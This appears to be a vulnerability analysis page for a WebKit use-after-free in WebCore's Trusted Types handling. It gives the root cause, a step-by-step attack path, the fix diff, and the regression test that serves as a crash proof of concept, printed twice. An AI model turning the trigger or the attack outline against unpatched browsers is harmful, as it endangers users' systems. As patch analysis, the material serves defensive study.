Medium webkit UAF 🔧 Commit mapped

Overview

Medium
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactProcessing maliciously crafted web content may lead to an unexpected process termination
DescriptionA use-after-free issue was addressed with improved memory management.
ComponentWebCore
Bug ClassUAF
Tracker313703
Fix commitcb83583e5f4d (webkit) +50/-3
CISA KEVNot listed
Credited杉山 壮太, Shubham Chaskar
Disclosed2026-09-14

Background

`Document::parseHTMLUnsafe` / `Document::write` / `Document::execCommand`
WebCore DOM entry points (Source/WebCore/dom/Document.cpp) that turn supplied markup into DOM, each routing the string through Trusted Types enforcement first.
Trusted Types compliance
trustedTypeCompliantString(...) validates a string against the document’s Trusted Types policy. If a require-trusted-types-for 'script' policy with a default policy is installed, this invokes the author-defined createHTML callback, i.e. it runs arbitrary author JavaScript synchronously.
`contextDocument()`
Returns the associated context Document (for the current document this is itself; for others it may be a different document). It is passed into trustedTypeCompliantString as the policy host.
`protect(...)` / `Ref`
WebKit’s lifetime idiom: wrapping an object in a Ref/RefPtr (here via protect) increments its refcount so it cannot be destroyed while the local reference is held.

Root Cause Analysis

Each of the three call sites passed the raw result of context.contextDocument() / contextDocument() directly into trustedTypeCompliantString(...). That function can synchronously invoke a Trusted Types default policy’s createHTML callback — attacker-controlled JavaScript. Inside that callback the page can mutate the DOM freely: adopt nodes into another document, remove the owning <iframe>, drop the last reference to the context document, and force garbage collection. Because the caller only held a bare pointer/reference to the context document across the trustedTypeCompliantString call, the context document could be destroyed during the callback, and the subsequent use of that now-dangling document (to finish parsing/writing) was a use-after-free. WebKit manages Document lifetime by reference counting, so holding only an unprotected pointer across a callout that can run author script and trigger GC is unsound.

The patch wraps each contextDocument() argument in protect(...), taking a Ref/RefPtr that keeps the context document alive for the duration of the trustedTypeCompliantString call (and the callback it invokes). The regression test LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html installs a default policy whose createHTML adopts a target node, removes and nulls the iframe, and runs GCController.collect(), then triggers markup processing — reproducing the free-then-use under ASAN.

Key insight
The DOM markup entry points held only an unprotected reference to the context document while calling trustedTypeCompliantString, which can run author createHTML script that frees that very document — a classic callback-reentrancy use-after-free, fixed by protect()-ing the document across the call.

Attack Path

  1. Setup Attacker page creates a frame whose document installs a Trusted Types policy requiring trusted types for script, exposing that frame’s trustedTypes to the parent.
  2. Register sink Via createPolicy('default', { createHTML(...) }), register a createHTML callback that will run when markup is validated.
  3. Trigger Call a markup entry point on the context document (innerHTML/parseHTMLUnsafe/document.write/execCommand('insertHTML')) so trustedTypeCompliantString invokes the callback.
  4. Free Inside createHTML, adopt the target node elsewhere, iframe.remove(), null references, and GCController.collect() so the context document is destroyed.
  5. Use-after-free Control returns to the Document method, which continues using the freed context document, dereferencing reclaimed memory.
  6. Primitive Use-after-free of a Document in the renderer; process termination is confirmed, and controlled reuse of the freed allocation (escalation to read/write) is inferred, not shown by the diff.

Impact Assessment

Runs in the renderer (Safari web content) process at ordinary web privilege; reachable by any page that can install a Trusted Types policy and invoke a markup sink. The diff confirms the advisory’s use-after-free class: the context Document can be freed by author script run during Trusted Types validation and is then used. Confirmed impact is a UAF crash / process termination; whether the freed Document slot can be reclaimed with attacker data to turn this into a controlled read/write is inferred and not demonstrated by the diff. Preconditions: a require-trusted-types-for 'script' policy with a default policy must be in effect so the callback fires.

Changed Functions

FunctionChangeNotes
if
LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
modified

Files Changed

  • LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
  • LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
  • Source/WebCore/dom/Document.cpp

Audit Directions

  • Trusted Types callouts
    Audit every caller of trustedTypeCompliantString / createHTML-invoking paths for other bare Document/node pointers held live across the call.
  • Author-script reentrancy
    Review DOM mutation methods that pass unprotected this/context pointers into functions that can run script (event dispatch, mutation observers, policy callbacks) and GC.
  • Context-document lifetime
    Look for other contextDocument() uses that assume the context document outlives a synchronous callout.
diff --git a/Source/WebCore/dom/Document.cpp b/Source/WebCore/dom/Document.cpp
index 265e99637419..9ee254aa0d89 100644
--- a/Source/WebCore/dom/Document.cpp
+++ b/Source/WebCore/dom/Document.cpp
@@ -1229,7 +1229,7 @@ void Document::setMarkupUnsafe(const String& markup, OptionSet<ParserContentPoli
 
 ExceptionOr<Ref<Document>> Document::parseHTMLUnsafe(Document& context, Variant<Ref<TrustedHTML>, String>&& html)
 {
-    auto stringValueHolder = trustedTypeCompliantString(context.contextDocument(), WTF::move(html), "Document parseHTMLUnsafe"_s);
+    auto stringValueHolder = trustedTypeCompliantString(protect(context.contextDocument()), WTF::move(html), "Document parseHTMLUnsafe"_s);
     if (stringValueHolder.hasException())
         return stringValueHolder.releaseException();
 
@@ -4562,7 +4562,7 @@ ExceptionOr<void> Document::write(Document* entryDocument, FixedVector<Variant<R
     }
 
     String textString = text.toString();
-    auto stringValueHolder = trustedTypeCompliantString(TrustedType::TrustedHTML, contextDocument(), textString, lineFeed.isEmpty() ? "Document write"_s : "Document writeln"_s);
+    auto stringValueHolder = trustedTypeCompliantString(TrustedType::TrustedHTML, protect(contextDocument()), textString, lineFeed.isEmpty() ? "Document write"_s : "Document writeln"_s);
     if (stringValueHolder.hasException())
         return stringValueHolder.releaseException();
     SegmentedString trustedText(stringValueHolder.releaseReturnValue());
@@ -7853,7 +7853,7 @@ ExceptionOr<bool> Document::execCommand(const String& commandName, bool userInte
         [&commandName, this](const String& str) -> ExceptionOr<String> {
             if (commandName != "insertHTML"_s)
                 return String(str);
-            return trustedTypeCompliantString(TrustedType::TrustedHTML, contextDocument(), str, "Document execCommand"_s);
+            return trustedTypeCompliantString(TrustedType::TrustedHTML, protect(contextDocument()), str, "Document execCommand"_s);
         },
         [](const Ref<TrustedHTML>& trustedHtml) -> ExceptionOr<String> {
             return trustedHtml->toString();
diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
new file mode 100644
index 000000000000..fa64fd64ba1b
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
@@ -0,0 +1,3 @@
+This test passes if WebKit does not hit assertions or crash under ASAN
+
+PASS
diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
new file mode 100644
index 000000000000..05a5d282b2ca
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
@@ -0,0 +1,44 @@
+<!DOCTYPE html>
+<html>
+<body>
+<script>
+if (window.testRunner && window.GCController) {
+    testRunner.dumpAsText();
+    testRunner.waitUntilDone();
+
+    targetElement = document.createElement('div');
+
+    let iframe = document.createElement('iframe');
+
+    iframe.srcdoc = `<!DOCTYPE html>
+    <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for \'script\'">
+    <body><script>document.body.appendChild(parent.targetElement); parent.innerTrustedTypes = trustedTypes;</` + 'script>';
+
+    iframe.onload = () => setTimeout(() => {
+        TrustedTypePolicyFactory.prototype.createPolicy.call(window.innerTrustedTypes, 'default', { createHTML: function () {
+            document.adoptNode(targetElement);
+            iframe.remove();
+            iframe = null;
+            GCController.collect();
+        } });
+        window.innerTrustedTypes = null;
+
+        GCController.collect();
+        try {
+            targetElement.innerHTML = 'x';
+        } catch (e) {
+            e.toString();
+        }
+
+        document.body.innerHTML = '<p>This test passes if WebKit does not hit assertions or crash under ASAN</p>PASS';
+
+        testRunner.notifyDone();
+    }, 0);
+
+    document.body.appendChild(iframe);
+} else
+    document.write('<p>This test requires testRunner and GCController</p>');
+
+</script>
+</body>
+</html>
\ No newline at end of file
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
new file mode 100644
index 000000000000..fa64fd64ba1b
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash-expected.txt
@@ -0,0 +1,3 @@
+This test passes if WebKit does not hit assertions or crash under ASAN
+
+PASS
diff --git a/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
new file mode 100644
index 000000000000..05a5d282b2ca
--- /dev/null
+++ b/LayoutTests/fast/dom/trusted-types-iframe-removal-crash.html
@@ -0,0 +1,44 @@
+<!DOCTYPE html>
+<html>
+<body>
+<script>
+if (window.testRunner && window.GCController) {
+    testRunner.dumpAsText();
+    testRunner.waitUntilDone();
+
+    targetElement = document.createElement('div');
+
+    let iframe = document.createElement('iframe');
+
+    iframe.srcdoc = `<!DOCTYPE html>
+    <meta http-equiv="Content-Security-Policy" content="require-trusted-types-for \'script\'">
+    <body><script>document.body.appendChild(parent.targetElement); parent.innerTrustedTypes = trustedTypes;</` + 'script>';
+
+    iframe.onload = () => setTimeout(() => {
+        TrustedTypePolicyFactory.prototype.createPolicy.call(window.innerTrustedTypes, 'default', { createHTML: function () {
+            document.adoptNode(targetElement);
+            iframe.remove();
+            iframe = null;
+            GCController.collect();
+        } });
+        window.innerTrustedTypes = null;
+
+        GCController.collect();
+        try {
+            targetElement.innerHTML = 'x';
+        } catch (e) {
+            e.toString();
+        }
+
+        document.body.innerHTML = '<p>This test passes if WebKit does not hit assertions or crash under ASAN</p>PASS';
+
+        testRunner.notifyDone();
+    }, 0);
+
+    document.body.appendChild(iframe);
+} else
+    document.write('<p>This test requires testRunner and GCController</p>');
+
+</script>
+</body>
+</html>
\ No newline at end of file
Loading diff…